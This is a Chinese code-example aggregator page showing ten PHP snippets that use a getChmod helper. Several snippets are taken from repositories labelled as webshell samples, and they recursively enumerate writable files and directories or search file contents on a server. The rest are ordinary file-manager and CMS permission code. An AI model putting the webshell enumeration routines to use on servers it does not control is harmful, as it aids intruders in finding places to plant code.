当前位置: 首页>>代码示例>>PHP>>正文


PHP getChmod函数代码示例

本文整理汇总了PHP中getChmod函数的典型用法代码示例。如果您正苦于以下问题:PHP getChmod函数的具体用法?PHP getChmod怎么用?PHP getChmod使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了getChmod函数的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: GetSFileList

function GetSFileList($dir, $content, $re = 0)
{
    global $filedata, $j, $nowpath, $writabledb;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetSFileList($f, $content, $re = 0);
            } elseif ($file != '.' && $file != '..' && is_file($f) && in_array($ext, explode(',', $writabledb))) {
                $find = 0;
                if ($re) {
                    if (preg_match('@' . $content . '@', $file) || preg_match('@' . $content . '@', @file_get_contents($f))) {
                        $find = 1;
                    }
                } else {
                    if (strstr($file, $content) || strstr(@file_get_contents($f), $content)) {
                        $find = 1;
                    }
                }
                if ($find) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
开发者ID:mcanv,项目名称:webshell,代码行数:42,代码来源:2009mssql.php

示例2: GetWFileList

function GetWFileList($dir)
{
    global $filedata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetWFileList($f);
            } elseif ($file != '.' && $file != '..' && is_file($f)) {
                if (is_writable($f)) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:32,代码来源:091f4d33fe8f9ccfc76a0976a54396ad.php

示例3: GetList

function GetList($dir)
{
    global $dirdata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['dirchmod'] = getChmod($f);
                    $dirdata[$j]['dirperm'] = getPerms($f);
                    $dirdata[$j]['dirlink'] = ue($dir);
                    $dirdata[$j]['server_link'] = $f;
                    $dirdata[$j]['client_link'] = ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}
开发者ID:huntergregal,项目名称:tools,代码行数:28,代码来源:godshell.php

示例4: mo_file_put_contents

function mo_file_put_contents($file, $content)
{
    $setchmod = false;
    if (!is_file($file) and false !== ($chmod = getChmod())) {
        $setchmod = true;
    }
    if (false === file_put_contents($file, $content, LOCK_EX)) {
        return false;
    }
    if ($setchmod and false === chmod($file, $chmod)) {
        return false;
    }
    return true;
}
开发者ID:Novo1987,项目名称:mozilo2.0,代码行数:14,代码来源:filesystem.php

示例5: GetWDirList

function GetWDirList($path)
{
    global $dirdata, $j, $web_cwd;
    !$j && ($j = 1);
    $dirs = @scandir($path);
    if ($dirs) {
        $dirs = array_diff($dirs, array('..', '.'));
        foreach ($dirs as $file) {
            $f = str_replace('//', '/', $path . '/' . $file);
            if (is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = '/' . str_replace($web_cwd, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['chmod'] = getChmod($f);
                    $dirdata[$j]['perm'] = PermsColor($f);
                    $dirdata[$j]['owner'] = getUser($f);
                    $dirdata[$j]['link'] = $f;
                    $j++;
                }
                GetWDirList($f);
            }
        }
        return $dirdata;
    } else {
        return array();
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:27,代码来源:2e8d3bf70d3d7eceb33859459b18c40b.php

示例6: goURL

            if (empty($_POST['mode'])) {
                echo 'Chưa nhập đầy đủ thông tin';
            } else {
                if (!@chmod($dir . '/' . $name, intval($_POST['mode'], 8))) {
                    echo 'Chmod thư mục thất bại';
                } else {
                    goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
                }
            }
            echo '</div>';
        }
        echo '<div class="list">
                <span class="bull">&bull;</span><span>' . printPath($dir . '/' . $name, true) . '</span><hr/>
                <form action="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
                    <span class="bull">&bull;</span>Chế độ:<br/>
                    <input type="text" name="mode" value="' . getChmod($dir . '/' . $name) . '" size="18"/><br/>
                    <input type="submit" name="submit" value="Chmod"/>
                </form>
            </div>
            <div class="title">Chức năng</div>
            <ul class="list">
                <li><img src="icon/zip.png"/> <a href="folder_zip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Nén zip</a></li>
                <li><img src="icon/rename.png"/> <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Đổi tên</a></li>
                <li><img src="icon/copy.png"/> <a href="folder_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sao chép</a></li>
                <li><img src="icon/move.png"/> <a href="folder_move.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Di chuyển</a></li>
                <li><img src="icon/delete.png"/> <a href="folder_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xóa</a></li>
                <li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">Danh sách</a></li>
            </ul>';
    }
    include_once 'footer.php';
} else {
开发者ID:TauThickMi,项目名称:M,代码行数:31,代码来源:folder_chmod.php

示例7: plugin_install

function plugin_install($zip = false)
{
    if (!function_exists('gzopen')) {
        return;
    }
    global $debug;
    @set_time_limit(600);
    global $message, $specialchars;
    $dir = PLUGIN_DIR_REL;
    if ($zip === false) {
        $zip_file = $dir . $specialchars->replaceSpecialChars($_FILES["plugin-install-file"]["name"], false);
    } else {
        if (getChmod() !== false) {
            setChmod($dir . $zip);
        }
        $zip_file = $dir . $zip;
    }
    $debug .= $zip_file . "<br />";
    #    if(true === (move_uploaded_file($_FILES["plugin-install-file"]["tmp_name"], $zip_file))) {
    if ($zip !== false and strlen($zip_file) > strlen($dir) or $zip === false and true === move_uploaded_file($_FILES["plugin-install-file"]["tmp_name"], $zip_file)) {
        require_once BASE_DIR_ADMIN . "pclzip.lib.php";
        $archive = new PclZip($zip_file);
        if (0 != ($file_list = $archive->listContent())) {
            uasort($file_list, "helpUasort");
            $find = installFindPlugins($file_list, $archive);
            if (count($find) > 0) {
                foreach ($find as $liste) {
                    if (strlen($liste['index']) > 0) {
                        $debug .= '<pre>';
                        $debug .= var_export($liste, true);
                        $debug .= '</pre>';
                        if (getChmod() !== false) {
                            $tmp1 = $archive->extractByIndex($liste['index'], PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_ADD_PATH, $liste['name'], PCLZIP_OPT_REMOVE_PATH, $liste['remove_dir'], PCLZIP_OPT_SET_CHMOD, getChmod(), PCLZIP_CB_PRE_EXTRACT, "PclZip_PreExtractCallBack", PCLZIP_OPT_REPLACE_NEWER);
                            setChmod($dir . $liste['name']);
                        } else {
                            $tmp1 = $archive->extractByIndex($liste['index'], PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_ADD_PATH, $liste['name'], PCLZIP_OPT_REMOVE_PATH, $liste['remove_dir'], PCLZIP_CB_PRE_EXTRACT, "PclZip_PreExtractCallBack", PCLZIP_OPT_REPLACE_NEWER);
                        }
                    } else {
                        # die file strucktur im zip stimt nicht
                        $message .= returnMessage(false, getLanguageValue("error_zip_structure"));
                    }
                }
            } else {
                # die file strucktur im zip stimt nicht
                $message .= returnMessage(false, getLanguageValue("error_zip_structure"));
            }
        } else {
            # scheint kein gühltiges zip zu sein
            $message .= returnMessage(false, getLanguageValue("error_zip_nozip") . "<br />" . $zip_file);
        }
        unlink($zip_file);
    } else {
        # das zip konnte nicht hochgeladen werden
        $message .= returnMessage(false, getLanguageValue("error_file_upload") . "<br />" . $zip_file);
    }
}
开发者ID:Novo1987,项目名称:mozilo2.0,代码行数:56,代码来源:plugins.php

示例8: processDirectory

 } else {
     $dir = processDirectory($dir);
     $path = $dir . '/' . $name;
     $format = getFormat($name);
     $isImage = false;
     $pixel = null;
     echo '<ul class="info">';
     echo '<li class="not_ellipsis"><span class="bull">&bull;</span><strong>Đường dẫn</strong>: <span>' . printPath($dir, true) . '</span></li>';
     if ($format != null && in_array($format, array('png', 'ico', 'jpg', 'jpeg', 'gif', 'bmp'))) {
         $pixel = getimagesize($path);
         $isImage = true;
         echo '<li><center><img src="read_image.php?path=' . rawurlencode($path) . '" width="' . ($pixel[0] > 200 ? 200 : $pixel[0]) . 'px"/></center><br/></li>';
     }
     echo '<li><span class="bull">&bull;</span><strong>Tên</strong>: <span>' . $name . '</span></li>
             <li><span class="bull">&bull;</span><strong>Kích thước</strong>: <span>' . size(filesize($path)) . '</span></li>
             <li><span class="bull">&bull;</span><strong>Chmod</strong>: <span>' . getChmod($path) . '</span></li>';
     if ($isImage) {
         echo '<li><span class="bull">&bull;</span><strong>Độ phân giải</strong>: <span>' . $pixel[0] . 'x' . $pixel[1] . '</span></li>';
     }
     echo '<li><span class="bull">&bull;</span><strong>Định dạng</strong>: <span>' . ($format == null ? 'Không rõ' : $format) . '</span></li>
             <li><span class="bull">&bull;</span><strong>Ngày sửa</strong>: <span>' . @date('d.m.Y - H:i', filemtime($path)) . '</span></li>
         </ul>
         <div class="title">Chức năng</div>
         <ul class="list">';
     if (isFormatText($name)) {
         echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa văn bản</a></li>';
         echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa theo dòng</a></li>';
     } else {
         if (in_array($format, $formats['zip'])) {
             echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xem</a></li>';
             echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Giải nén</a></li>';
开发者ID:TauThickMi,项目名称:M,代码行数:31,代码来源:file.php

示例9: goURL

     if (empty($_POST['mode'])) {
         echo 'Chưa nhập đầy đủ thông tin';
     } else {
         if (!@chmod($dir . '/' . $name, intval($_POST['mode'], 8))) {
             echo 'Chmod tập tin thất bại';
         } else {
             goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
         }
     }
     echo '</div>';
 }
 echo '<div class="list">
         <span class="bull">&bull;</span><span>' . printPath($dir . '/' . $name) . '</span><hr/>
         <form action="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
             <span class="bull">&bull;</span>Chế độ:<br/>
             <input type="text" name="mode" value="' . (isset($_POST['mode']) ? $_POST['mode'] : getChmod($dir . '/' . $name)) . '" size="18"/><br/>
             <input type="submit" name="submit" value="Chmod"/>
         </form>
     </div>
     <div class="title">Chức năng</div>
     <ul class="list">
         <li><img src="icon/info.png"/> <a href="file.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Thông tin</a></li>';
 if (isFormatText($name)) {
     echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa văn bản</a></li>';
     echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa theo dòng</a></li>';
 } else {
     if (in_array($format, $formats['zip'])) {
         echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xem</a></li>';
         echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Giải nén</a></li>';
     } else {
         if (isFormatUnknown($name)) {
开发者ID:TauThickMi,项目名称:M,代码行数:31,代码来源:file_chmod.php

示例10: ceil

     echo '<li class="normal"><img src="icon/empty.png"/> <span class="empty">Không có thư mục hoặc tập tin</span></li>';
 } else {
     $start = 0;
     $end = $count;
     if ($configs['page_list'] > 0 && $count > $configs['page_list']) {
         $pages['total'] = ceil($count / $configs['page_list']);
         if ($pages['total'] <= 0 || $pages['current'] > $pages['total']) {
             goURL('index.php?dir=' . $dirEncode . ($pages['total'] <= 0 ? null : '&page_list=' . $pages['total']));
         }
         $start = $pages['current'] * $configs['page_list'] - $configs['page_list'];
         $end = $start + $configs['page_list'] >= $count ? $count : $start + $configs['page_list'];
     }
     for ($i = $start; $i < $end; ++$i) {
         $name = $lists[$i]['name'];
         $path = $dir . '/' . $name;
         $perms = getChmod($path);
         if ($lists[$i]['is_directory']) {
             echo '<li class="folder">
                     <div>
                         <input type="checkbox" name="entry[]" value="' . $name . '"/>
                         <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">
                             <img src="icon/folder.png"/>
                         </a>
                         <a href="index.php?dir=' . rawurlencode($path) . '">' . $name . '</a>
                         <div class="perms">
                             <a href="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" class="chmod">' . $perms . '</a>
                         </div>
                     </div>
                 </li>';
         } else {
             $edit = array(null, '</a>');
开发者ID:TauThickMi,项目名称:M,代码行数:31,代码来源:index.php


注:本文中的getChmod函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。